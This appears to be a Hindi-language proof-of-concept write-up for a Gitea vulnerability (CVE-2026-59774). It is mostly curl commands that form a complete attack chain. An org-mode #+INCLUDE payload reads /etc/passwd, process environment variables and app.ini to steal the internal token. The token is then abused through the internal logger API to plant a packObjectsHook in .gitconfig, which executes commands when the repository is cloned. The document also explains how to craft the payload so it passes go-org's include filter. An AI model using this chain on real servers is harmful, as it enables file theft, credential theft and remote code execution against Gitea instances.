
CVE-2026-59774
git clone https://github.com/FlowerWitch/CVE-2026-59774_docker
cd ./CVE-2026-59774_docker
docker compose up -d
gitea पर जाएँ
new repository डिफ़ॉल्ट रूप से सार्वजनिक होता है, किसी अन्य कॉन्फ़िगरेशन की आवश्यकता नहीं है
curl -X POST "http://localhost:3000/{username}/{repo}/markup" \
-H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
"Context": "/admin/poc/src/main/"
}'
/proc/self/environ में GITEA_CUSTOM फ़ील्ड को पढ़कर gitea डेटा के भंडारण स्थान का पता लगाएंcurl -sX POST "http://localhost:3000/admin/poc/markup" -H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
"Context": "/admin/poc/src/main/"
}'|grep 'GITEA_CUSTOM='
{GITEA_CUSTOM}/conf/app.ini पढ़कर INTERNAL_TOKEN और APP_DATA_PATH फ़ील्ड प्राप्त करेंcurl -sX POST "http://localhost:3000/{username}/{repo_name}/markup" -H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
"Context": "/admin/poc/src/main/"
}'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH'
Mode File होता है तो यह स्थानीय फ़ाइल में अपेंड राइट करता है (यदि लक्ष्य मौजूद नहीं है तो संबंधित निर्देशिका बना देता है), साथ ही इसका logger फ़ील्ड router होने पर निष्पादन के दौरान एक लॉग ट्रिगर होता है, आउटपुट प्रभाव default की तुलना में काफ़ी बेहतर है (क्योंकि इसमें लाइन ब्रेक नहीं होता XD)। पूर्वोक्त के माध्यम से किसी भी राइट द्वारा, gitea की .gitconfig में packObjectsHook फ़ील्ड जोड़कर अनाम clone के माध्यम से कमांड निष्पादन ट्रिगर किया जा सकता है।curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
-H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"Logger": "router",
"Writer": "pwnhook",
"Mode": "file",
"Config":{
"filename": "{APP_DATA_PATH}/home/.gitconfig",
"flags": "none",
"prefix": "[uploadpack]\n packObjectsHook = id > /tmp/pwned ;#",
"level": "Info",
"rotate": false
}
}'
logger और writer का उपयोग करना होगाcurl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
-H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
git clone कमांड निष्पादन को ट्रिगर करता हैgo-org 1.9.1 में parseInclude फ़ंक्शन में एक रेगुलर एक्सप्रेशन फ़िल्टर नियम includeFileRegexp शामिल है, केवल मिलान होने पर ही आगे के फ़ंक्शन में प्रवेश किया जा सकता है।
func (d *Document) parseInclude(k Keyword) (int, Node) {
resolve := func() Node {
d.Log.Printf("Bad include %#v", k)
return k
}
if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil { # <--这里施加了 includeFileRegexp 过滤
path, kind, lang := m[1], m[2], m[3]
if !filepath.IsAbs(path) {
path = filepath.Join(filepath.Dir(d.Path), path)
}
includeFileRegexp मिलान की शर्तें इस प्रकार हैं
var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)
इसलिए payload "#+INCLUDE: \"/etc/passwd\"\n" सामान्य रूप से मेल नहीं खा सकता, निर्माण को अभिव्यक्ति के अनुरूप होना चाहिए, जैसे:
"#+INCLUDE: \"/etc/passwd\" src 123\n"